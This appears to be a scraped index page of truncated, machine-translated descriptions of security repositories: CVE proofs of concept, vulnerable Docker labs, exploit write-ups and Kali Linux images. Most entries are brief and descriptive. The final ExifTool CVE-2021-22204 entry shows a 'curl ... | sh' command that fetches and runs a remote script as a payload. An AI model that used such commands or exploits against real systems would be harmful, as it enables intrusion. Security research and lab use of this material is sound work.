cve-2020-16012

Questo repository contiene PoC per CVE-2020-16012, una vulnerabilità di canale laterale nell'implementazione di CanvasRenderingContext2D.drawImage in Firefox e Chromium. Leggi un articolo su questa vulnerabilità sul blog Mozilla Attack & Defense. All'interno di benchmark si trova il codice per...

CVE-2019-11043-Docker

Uma imagem Docker com uma versão vulnerável do PHP-FPM CVE-2019-11043 e nginx. Executar docker run --rm -p8080:80 akamajoris/cve-2019-11043 Você deve conseguir acessar a aplicação web em http://your-ip:8080/. Exploração Compile um binário a partir de https://github.com/neex/phuip-fpizdam, depois...

CVE-2019-1010174

CVE-2019-1010174 CImg Library v.2.3.3 - injection di comandi Dettaglio CVE-2019-1010174 Modificato Questa vulnerabilità è stata modificata dall'ultima analisi dell'NVD. È in attesa di una rianalisi che potrebbe comportare ulteriori modifiche alle informazioni fornite. Descrizione CImg La libreria...

GG-AESY

Blogpost: https://redteamer.tips/introducing-gg-aesy-a-stegocryptor/ AVISO: pode ser necessário restaurar os pacotes NuGet e reiniciar o Visual Studio antes de compilar. Se alguém souber como me livrar deste problema, envie-me uma DM. Manual Para começar, recomendo vivamente usar sempre o GG-AESY...

docker-cve-2022-39253-poc

leitura de arquivo do host docker usando cve-2022-39253 poc PoC reproduzir ambiente root@kitploit: $ docker run --name=cve-2022-39253 -ti -d ssst0n3/dockerarchive:gitcve-2022-39253 $ docker attach --detach-keys ctrl-x cve-2022-39253 use ctrl-x to exit container's terminal wait minutes for...

CVE-2019-8943

CVE-2019-8943 WordPress 5.0.0 - Execução Remota de Código em Imagem Exploit das CVE-2019-8942 e CVE-2019-8943 usando python : ExploitDB : https://www.exploit-db.com/exploits/49512 O exploit original para metasploit : WordPress Core 5.0.0 - Crop-image Shell Upload Metasploit :...

CVE-2022-45472

CVE-2022-45472 XSS Baseado em DOM Software: CAE Learning Space Enterprise with Intuity License Versão da Imagem: 267r Patch Level: 639 Vulnerabilidade: XSS Baseado em DOM Descrição O software de gerenciamento CAE Learning Space Enterprise é vulnerável a um ataque XSS Baseado em DOM. Um ataque XSS...

CVE-2024-22393

Exploit CVE-2024-22393 Per sfruttare questa vulnerabilità, carica la foto che ho fornito in qualsiasi sezione di caricamento foto. lottapixel.jpg Riferimenti: https://nvd.nist.gov/vuln/detail/CVE-2024-22393 https://www.openwall.com/lists/oss-security/2024/02/22/1...

backdoor.mirai.helloworld

Dasan GPON Router URL ? image quando si aggiunge una stringa dopo...

kali-linux-docker

Docker Ufficiale di Kali Linux Questa immagine Docker di Kali Linux fornisce un'installazione di base minima dell'ultima versione della distribuzione rolling di Kali Linux. Non ci sono strumenti aggiunti a questa immagine, quindi dovrai installarli tu stesso. Per i dettagli sui metapacchetti di...

Multimodal-Unlearnable-Examples

Esempi Multimodali Non Apprendibili: Proteggere i Dati contro l'Apprendimento Contrastivo Multimodale ACM MM2024 Abstract : L'apprendimento contrastivo multimodale MCL ha mostrato notevoli progressi nella classificazione zero-shot apprendendo da milioni di coppie immagine-didascalia raccolte da...

CVE-2022-40471

CVE-2022-40471 – RCE CPMS tramite Upload File Autenticato 📌 Panoramica CVE-2022-40471 è una vulnerabilità di Remote Code Execution autenticata che colpisce Clinic's Patient Management System CPMS. La vulnerabilità è dovuta a una validazione insufficiente dei file caricati nella funzionalità di...

android-kernel-exploitation-ashfaq-CVE-2019-2215

android-kernel-exploitation-ashfaq-CVE-2019-2215. Immagine Docker fornita dall'utente Robert Dan nel workshop android-kernel-exploitation-ashfaq-CVE-2019-2215...

Kali-Linux

Kali-Linux trucchi e configurazione release corrente Immagini settimanali di Kali: href Scarica singolo inode root@kitploit: apt install subversion -y svn checkout https://github.com/nu11secur1ty/Kali-Linux/trunk/$inode Introduzione: Kali Linux è adatto a te? Come sviluppatori della distribuzione...

cve-2018-17207

CVE-2018-17207 Questa è parte di Cved: uno strumento per gestire container Docker vulnerabili. Cved: https://github.com/git-rep-src/cved Sorgente immagine: https://github.com/cved-sources/cve-2018-17207 Autore immagine: https://github.com/cved-sources/cve-2018-17207...

XBadManners

XBadManners Descrizione della CVE CVE-2018-16323 è una perdita di memoria nel processamento di immagini XBM. Dopo che un'immagine XBM è stata convertita in un altro tipo di immagine, è possibile estrarre byte di memoria persa dai dati dell'immagine. Scoperta da d4d. Tool Uno strumento abbastanza...

WP_CROP_RCE

Rapporto di analisi di WordPress Image CROP RCE POC & Dockekfile : https://github.com/synod2/WPCROPRCE Questo documento affronta le vulnerabilità CVE-2019-8942 e CVE-2019-8943, note come WordPress Image CROP RCE, riscontrate nelle versioni di WordPress precedenti alla 4.9.9 e alla 5.0.1...

CVE-2025-43300

CVE-2025-43300: Corrupção de Memória no Processamento de Imagens DNG em iOS/macOS Visão Geral A CVE-2025-43300 é uma vulnerabilidade crítica de corrupção de memória no framework de processamento de imagens da Apple que afeta iOS 18.6.1 e sistemas macOS. A vulnerabilidade existe no código de...

cve-2022-39197

cve-2022-39197 Derzeit können nur entfernte Bilder geladen werden...

POC-CVE-2021-22204

POC-CVE-2021-22204 https://nvd.nist.gov/vuln/detail/CVE-2021-22204 Dies ist nur ein praktisches Skript, das ich zum Testen geschrieben habe. Ausgabe root@kitploit: Usage ./buildimage.pl Note: if your cmd contains unix special characters use quote! EG: ./buildimage.pl "curl xxxx.com/script.sh|sh"...